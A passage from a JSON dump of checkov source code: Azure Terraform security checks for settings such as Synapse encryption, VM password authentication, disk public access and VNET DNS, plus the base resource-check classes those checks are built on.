    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NetworkInterfaceEnableIPForwarding(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure File Sync disables public network access\"\n        id = \"CKV_AZURE_64\"\n        supported_resources = ['azurerm_storage_sync']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return 'incoming_traffic_policy'\n\n    def get_expected_value(self):\n        return 'AllowVirtualNetworksOnly'\n\n\ncheck = NetworkInterfaceEnableIPForwarding()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageSyncServicePermissiveAccess.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass StorageSyncServicePermissiveAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Storage Sync Service is not configured with overly permissive network access\"\n        id = \"CKV_AZURE_250\"\n        supported_resources = ['azurerm_storage_sync']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        if \"incoming_traffic_policy\" in conf:\n            if \"AllowAllTraffic\" in conf[\"incoming_traffic_policy\"]:\n                return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['incoming_traffic_policy']\n\n\ncheck = StorageSyncServicePermissiveAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SynapseSQLPoolDataEncryption.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SynapseSQLPoolDataEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Synapse SQL pools are encrypted\"\n        id = \"CKV_AZURE_241\"\n        supported_resources = ['azurerm_synapse_sql_pool']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'data_encrypted' in conf and conf['data_encrypted'][0] is True:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['data_encrypted']\n\n\ncheck = SynapseSQLPoolDataEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SynapseWorkspaceAdministratorLoginPasswordHidden.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SynapseWorkspaceAdministratorLoginPasswordHidden(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Synapse Workspace administrator login password is not exposed\"\n        id = \"CKV_AZURE_239\"\n        supported_resources = ['azurerm_synapse_workspace']\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if 'sql_administrator_login_password' in conf:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['sql_administrator_login_password']\n\n\ncheck = SynapseWorkspaceAdministratorLoginPasswordHidden()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SynapseWorkspaceCMKEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SynapseWorkspaceCMKEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Azure Synapse Workspace is encrypted with a CMK\"\n        id = \"CKV_AZURE_240\"\n        supported_resources = ['azurerm_synapse_workspace']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"customer_managed_key/[0]/key_name\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SynapseWorkspaceCMKEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesDataExfilProtection.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SynapseWorkspaceEnablesDataExfilProtection(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Synapse workspace has data_exfiltration_protection_enabled\"\n        id = \"CKV_AZURE_157\"\n        supported_resources = ['azurerm_synapse_workspace']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'data_exfiltration_protection_enabled'\n\n\ncheck = SynapseWorkspaceEnablesDataExfilProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesManagedVirtualNetworks.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SynapseWorkspaceEnablesManagedVirtualNetworks(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Synapse workspaces enables managed virtual networks\"\n        id = \"CKV_AZURE_58\"\n        supported_resources = ['azurerm_synapse_workspace']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'managed_virtual_network_enabled'\n\n\ncheck = SynapseWorkspaceEnablesManagedVirtualNetworks()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass VMAgentIsInstalled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure VM agent is installed\"\n        id = \"CKV_AZURE_179\"\n        supported_resources = (\n            \"azurerm_windows_virtual_machine\",\n            \"azurerm_windows_virtual_machine_scale_set\",\n            \"azurerm_linux_virtual_machine_scale_set\",\n            \"azurerm_linux_virtual_machine\",\n        )\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources, missing_block_result=CheckResult.PASSED\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"provision_vm_agent\"\n\n\ncheck = VMAgentIsInstalled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMCredsInCustomData.py",
    "content": "from typing import List, Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.secrets import string_has_secrets, AZURE, GENERAL\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass VMCredsInCustomData(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that no sensitive credentials are exposed in VM custom_data\"\n        id = \"CKV_AZURE_45\"\n        supported_resources = (\"azurerm_virtual_machine\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        os_profile = conf.get(\"os_profile\")\n        if os_profile:\n            os_profile = os_profile[0]\n            if isinstance(os_profile, dict):\n                custom_data = os_profile.get(\"custom_data\")\n                if custom_data:\n                    custom_data = custom_data[0]\n                    if isinstance(custom_data, str):\n                        if string_has_secrets(custom_data, AZURE, GENERAL):\n                            conf[f'{self.id}_secret'] = custom_data\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"os_profile/[0]/custom_data\"]\n\n\ncheck = VMCredsInCustomData()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass VMDisablePasswordAuthentication(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that Virtual machine does not enable password authentication\"\n        id = \"CKV_AZURE_149\"\n        supported_resources = ['azurerm_linux_virtual_machine_scale_set', 'azurerm_linux_virtual_machine']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_forbidden_values(self) -> str:\n        return [False]\n\n    def get_inspected_key(self) -> str:\n        return \"disable_password_authentication\"\n\n\ncheck = VMDisablePasswordAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMDiskWithPublicAccess.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass VMDiskWithPublicAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Virtual Machine disks are configured without public network access\"\n        id = \"CKV_AZURE_251\"\n        supported_resources = ['azurerm_managed_disk']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        if \"public_network_access_enabled\" in conf:\n            if \"True\" in conf[\"public_network_access_enabled\"] or True in conf[\"public_network_access_enabled\"]:\n                return CheckResult.FAILED\n            else:\n                return CheckResult.PASSED\n        else:\n            return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['public_network_access_enabled']\n\n\ncheck = VMDiskWithPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass VMEncryptionAtHostEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Virtual machine scale sets have encryption at host enabled\"\n        id = \"CKV_AZURE_97\"\n        supported_resources = ['azurerm_linux_virtual_machine_scale_set', 'azurerm_windows_virtual_machine_scale_set']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'encryption_at_host_enabled'\n\n\ncheck = VMEncryptionAtHostEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMScaleSetsAutoOSImagePatchingEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass VMScaleSetsAutoOSImagePatchingEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets\"\n        id = \"CKV_AZURE_95\"\n        supported_resources = ['azurerm_virtual_machine_scale_set']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'automatic_os_upgrade' in conf and conf['automatic_os_upgrade'][0] \\\n                and 'os_profile_windows_config' in conf and conf['os_profile_windows_config'][0]:\n            os_profile_windows_config = conf['os_profile_windows_config'][0]\n            self.evaluated_keys = ['os_profile_windows_config']\n            if 'enable_automatic_upgrades' in os_profile_windows_config \\\n                    and os_profile_windows_config['enable_automatic_upgrades'][0]:\n                self.evaluated_keys = ['automatic_os_upgrade',\n                                       'os_profile_windows_config/[0]/enable_automatic_upgrades']\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = VMScaleSetsAutoOSImagePatchingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VMStorageOsDisk.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass VMStorageOsDisk(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Virtual Machines use managed disks\"\n        id = \"CKV_AZURE_92\"\n        supported_resources = ['azurerm_linux_virtual_machine', 'azurerm_windows_virtual_machine']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        storage_os_disk = conf.get('storage_os_disk')\n        storage_data_disk = conf.get('storage_data_disk')\n        if storage_os_disk and 'vhd_uri' in storage_os_disk[0]:\n            self.evaluated_keys = ['storage_os_disk']\n            return CheckResult.FAILED\n        if storage_data_disk and 'vhd_uri' in storage_data_disk[0]:\n            self.evaluated_keys = ['storage_data_disk']\n            return CheckResult.FAILED\n        self.evaluated_keys = ['storage_os_disk'] if storage_os_disk else []\n        if storage_data_disk:\n            self.evaluated_keys.append('storage_data_disk')\n        return CheckResult.PASSED\n\n\ncheck = VMStorageOsDisk()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VnetLocalDNS.py",
    "content": "from __future__ import annotations\n\nfrom ipaddress import ip_network, ip_address\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass VnetLocalDNS(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"Avoid taking a dependency on external DNS servers\n         for local communication such as those deployed on-premises.\n        Where possible consider deploying Azure Private DNS Zones,\n         a platform-as-a-service (PaaS) DNS service for VNETs\"\"\"\n        name = \"Ensure that VNET uses local DNS addresses\"\n        id = \"CKV_AZURE_183\"\n        supported_resources = (\"azurerm_virtual_network\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"dns_servers\" in conf and conf[\"dns_servers\"] and isinstance(conf[\"dns_servers\"], list):\n            dns_servers = conf[\"dns_servers\"][0]\n            if dns_servers:\n                for ip in dns_servers:\n                    if \"address_space\" in conf and conf[\"address_space\"] and isinstance(conf[\"address_space\"], list):\n                        address_spaces = conf[\"address_space\"][0]\n                        if isinstance(address_spaces, list):\n                            for address_range in address_spaces:\n                                if not isinstance(address_range, str):\n                                    continue\n                                try:\n                                    net = ip_network(address_range)\n                                    ip_add = ip_address(ip) if isinstance(ip, str) else None\n                                except ValueError:\n                                    return CheckResult.UNKNOWN\n                                if isinstance(ip, str) and ip_add in net:\n                                    return CheckResult.PASSED\n                self.evaluated_keys = [\"dns_servers\"]\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = VnetLocalDNS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass VnetSingleDNSServer(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"Using a single DNS server may indicate a single point of failure\n        where the DNS IP address is not load balanced.\"\"\"\n        name = \"Ensure that VNET has at least 2 connected DNS Endpoints\"\n        id = \"CKV_AZURE_182\"\n        supported_resources = (\"azurerm_virtual_network\", \"azurerm_virtual_network_dns_servers\")\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"dns_servers\" in conf and conf[\"dns_servers\"] and isinstance(conf[\"dns_servers\"], list):\n            dns_servers = conf[\"dns_servers\"][0]\n            if dns_servers and len(dns_servers) == 1:\n                self.evaluated_keys = [\"dns_servers\"]\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = VnetSingleDNSServer()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WinVMAutomaticUpdates(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        If enabled, updates are automatically applied\n        \"\"\"\n        name = \"Ensure Windows VM enables automatic updates\"\n        id = \"CKV_AZURE_177\"\n        supported_resources = (\"azurerm_windows_virtual_machine\", \"azurerm_windows_virtual_machine_scale_set\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"enable_automatic_updates\"\n\n\ncheck = WinVMAutomaticUpdates()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/WinVMEncryptionAtHost.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WinVMEncryptionAtHost(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        If enabled, all the disks (including the temp disk) attached to this Virtual Machine will be encrypted\n\n        if not enabled:\n        https://learn.microsoft.com/en-gb/azure/virtual-machines/disks-enable-host-based-encryption-portal?tabs=azure-cli#prerequisites\n        \"\"\"\n        name = \"Ensure Windows VM enables encryption\"\n        id = \"CKV_AZURE_151\"\n        supported_resources = ['azurerm_windows_virtual_machine']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encryption_at_host_enabled\"\n\n\ncheck = WinVMEncryptionAtHost()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/base_cloudsplaining_resource_iam_check.py",
    "content": "from __future__ import annotations\n\nimport fnmatch\nimport logging\nfrom abc import ABC\nfrom typing import Dict, List, Any, Union\n\nfrom cloudsplaining.scan.policy_document import PolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n\n\nclass BaseTerraformCloudsplainingResourceIAMCheck(BaseResourceCheck, BaseTerraformCloudsplainingIAMScanner, ABC):\n    def __init__(self, name: str, id: str) -> None:\n        supported_resources = (\n            \"aws_iam_role_policy\",\n            \"aws_iam_user_policy\",\n            \"aws_iam_group_policy\",\n            \"aws_iam_policy\",\n            \"aws_ssoadmin_permission_set_inline_policy\",\n        )\n        super().__init__(name=name, id=id, categories=(CheckCategories.IAM,), supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        return self.scan_conf(conf)\n\n    @property\n    def cache_key(self) -> str:\n        return self.entity_path\n\n    def should_scan_conf(self, conf: Dict[str, List[Any]]) -> bool:\n        if self.entity_type == \"aws_ssoadmin_permission_set_inline_policy\":\n            return \"inline_policy\" in conf\n\n        return \"policy\" in conf\n\n    def convert_to_iam_policy(self, conf: Dict[str, Any]) -> PolicyDocument:\n        if self.entity_type == \"aws_ssoadmin_permission_set_inline_policy\":\n            policy: dict[str, Any] = conf['inline_policy'][0]\n        else:\n            policy = conf['policy'][0]\n\n        return PolicyDocument(policy)\n\n    def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument,\n                                             violating_actions: Union[List[str], List[Dict[str, Any]]]) -> None:\n        try:\n            # in case we have violating actions for this policy we start looking for it through the statements\n            for stmt_idx, statement in enumerate(policy.statements):\n                actions = statement.statement.get('Action')  # get the actions for this statement\n                if actions:\n                    if isinstance(actions, str):\n                        for violating_action in violating_actions:\n                            if fnmatch.fnmatch(violating_action.lower(), actions.lower()):  # found the violating action in our list of actions\n                                self.evaluated_keys.append(f\"policy/Statement/[{stmt_idx}]/Action\")\n                                return\n                    if isinstance(actions, list):\n                        for action in actions:  # go through the actions of this statement and try to match one violation\n                            for violating_action in violating_actions:\n                                if isinstance(action, str) and fnmatch.fnmatch(violating_action.lower(), action.lower()):  # found the violating action in our list of actions\n                                    self.evaluated_keys.append(f\"policy/Statement/[{stmt_idx}]/Action\")\n                                    return\n        except Exception as e:\n            logging.warning(f'Failed enriching cloudsplaining evaluated keys due to: {e}')\n"
  },
  {
    "path": "checkov/terraform/checks/resource/base_registry.py",
    "content": "from typing import Dict, Any, Tuple\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def extract_entity_details(self, entity: Dict[str, Any]) -> Tuple[str, str, Dict[str, Any]]:\n        resource_type = list(entity.keys())[0]\n        resource_name = list(list(entity.values())[0].keys())[0]\n        resource_object = entity[resource_type]\n        resource_configuration = resource_object[resource_name]\n        return resource_type, resource_name, resource_configuration\n"
  },
  {
    "path": "checkov/terraform/checks/resource/base_resource_check.py",
    "content": "from abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Dict, List, Any, Optional\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.var_utils import is_terraform_variable_dependent\nfrom checkov.terraform.checks.resource.registry import resource_registry\nfrom checkov.terraform.parser_functions import handle_dynamic_values\n\n\nclass BaseResourceCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        guideline: Optional[str] = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=\"resource\",\n            guideline=guideline,\n        )\n        self.supported_resources = supported_resources\n        resource_registry.register(self)\n\n    @staticmethod\n    def _is_variable_dependant(value: Any) -> bool:\n        return is_terraform_variable_dependent(value)\n\n    def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n\n        if conf.get(\"count\") == [0]:\n            return CheckResult.UNKNOWN\n\n        handle_dynamic_values(conf)\n        return self.scan_resource_conf(conf)\n\n    @abstractmethod\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n        self.evaluated_keys should be set with a JSONPath of the attribute inspected.\n        If not relevant it should be set to an empty array so the previous check's value gets overridden in the report.\n        \"\"\"\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/base_resource_negative_value_check.py",
    "content": "from abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Dict, Any, Optional\n\nimport dpath\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.graph_builder.utils import get_referenced_vertices_in_value\nfrom checkov.terraform.parser_functions import handle_dynamic_values\n\n\nclass BaseResourceNegativeValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        missing_attribute_result: CheckResult = CheckResult.PASSED,\n        guideline: Optional[str] = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline,\n        )\n        self.missing_attribute_result = missing_attribute_result\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        handle_dynamic_values(conf)\n\n        excluded_key = self.get_excluded_key()\n        if excluded_key is not None:\n            if dpath.search(conf, excluded_key) != {}:\n                value = dpath.get(conf, excluded_key)\n                if isinstance(value, list) and len(value) == 1:\n                    value = value[0]\n                if self.check_excluded_condition(value):\n                    return CheckResult.PASSED\n\n        inspected_key = self.get_inspected_key()\n        bad_values = self.get_forbidden_values()\n        if dpath.search(conf, inspected_key) != {}:\n            value = dpath.get(conf, inspected_key)\n            if isinstance(value, list) and len(value) == 1:\n                value = value[0]\n            if value is None or (isinstance(value, list) and not value):\n                return self.missing_attribute_result\n            if get_referenced_vertices_in_value(value=value, aliases={}, resources_types=[]):\n                # we don't provide resources_types as we want to stay provider agnostic\n                return CheckResult.UNKNOWN\n            # value can still be a list\n            if isinstance(value, list):\n                for val in value:\n                    if val in bad_values:\n                        return CheckResult.FAILED\n            if value in bad_values or ANY_VALUE in bad_values:\n                return CheckResult.FAILED\n            else:\n                return CheckResult.PASSED\n\n        return self.missing_attribute_result\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def get_forbidden_values(self) -> List[Any]:\n        \"\"\"\n        Returns a list of vulnerable values for the inspected key, governed by provider best practices\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_excluded_key(self) -> Optional[str]:\n        \"\"\"\n        :return: JSONPath syntax path of the an attribute that provides exclusion condition for the inspected key\n        \"\"\"\n        return None\n\n    def check_excluded_condition(self, value: str) -> bool:\n        \"\"\"\n        :param:  value: value for  excluded_key\n        :return: True if the value should exclude the check from failing if the inspected key has a bad value\n        \"\"\"\n        return False\n\n    def get_evaluated_keys(self) -> List[str]:\n        return force_list(self.get_inspected_key())\n"
  },
  {
    "path": "checkov/terraform/checks/resource/base_resource_value_check.py",
    "content": "import logging\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Dict, Any, Optional\n\nimport dpath\nimport re\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.graph_builder.utils import get_referenced_vertices_in_value\nfrom checkov.terraform.parser_functions import handle_dynamic_values\n\nARRAY_INDEX_PATTERN = re.compile(r\"^\\[?\\d+]?$\")\n\n\nclass BaseResourceValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        missing_block_result: CheckResult = CheckResult.FAILED,\n        guideline: Optional[str] = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline,\n        )\n        self.missing_block_result = missing_block_result\n\n    @staticmethod\n    def _filter_key_path(path: str) -> List[str]:\n        \"\"\"\n        Filter an attribute path to contain only named attributes by dropping array indices from the path)\n        :param path: valid JSONPath of an attribute\n        :return: List of named attributes with respect to the input JSONPath order\n        \"\"\"\n        return [x for x in path.split(\"/\") if not re.search(ARRAY_INDEX_PATTERN, x)]\n\n    @staticmethod\n    def _is_nesting_key(inspected_attributes: List[str], key: List[str]) -> bool:\n        \"\"\"\n        Resolves whether a key is a subset of the inspected nesting attributes\n        :param inspected_attributes: list of nesting attributes\n        :param key: JSONPath key of an attribute\n        :return: True/False\n        \"\"\"\n        return any(x in key for x in inspected_attributes)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        handle_dynamic_values(conf)\n        inspected_key = self.get_inspected_key()\n        expected_values = self.get_expected_values()\n        if dpath.search(conf, inspected_key) != {}:\n            # Inspected key exists\n            value = dpath.get(conf, inspected_key)\n            if isinstance(value, list) and len(value) == 1:\n                value = value[0]\n            if value is None or (isinstance(value, list) and not value):\n                return self.missing_block_result\n            if ANY_VALUE in expected_values and value is not None and (not isinstance(value, str) or value):\n                # Key is found on the configuration - if it accepts any value, the check is PASSED\n                return CheckResult.PASSED\n            if self._is_variable_dependant(value):\n                # If the tested attribute is variable-dependant, then result is UNKNOWN\n                return CheckResult.UNKNOWN\n            if value in expected_values:\n                return CheckResult.PASSED\n            if not isinstance(value, str) and str(value) in expected_values:\n                logging.debug(f\"Check {self.id} is set to pass even though the type of value {value} is not str (it is {type(value)}), while {str(value)} is an expected value\")\n                return CheckResult.PASSED\n            if get_referenced_vertices_in_value(value=value, aliases={}, resources_types=[]):\n                # we don't provide resources_types as we want to stay provider agnostic\n                return CheckResult.UNKNOWN\n            return CheckResult.FAILED\n        else:\n            # Look for the configuration in a bottom-up fashion\n            inspected_attributes = self._filter_key_path(inspected_key)\n            for attribute in reversed(inspected_attributes):\n                for sub_key, sub_conf in dpath.search(conf, f\"**/{attribute}\", yielded=True):\n                    filtered_sub_key = self._filter_key_path(sub_key)\n                    # Only proceed with check if full path for key is similar - not partial match\n                    if inspected_attributes == filtered_sub_key:\n                        if self._is_nesting_key(inspected_attributes, filtered_sub_key):\n                            if isinstance(sub_conf, list) and len(sub_conf) == 1:\n                                sub_conf = sub_conf[0]\n                            if sub_conf in self.get_expected_values():\n                                return CheckResult.PASSED\n                            if self._is_variable_dependant(sub_conf):\n                                # If the tested attribute is variable-dependant, then result is UNKNOWN\n                                return CheckResult.UNKNOWN\n\n        return self.missing_block_result\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n 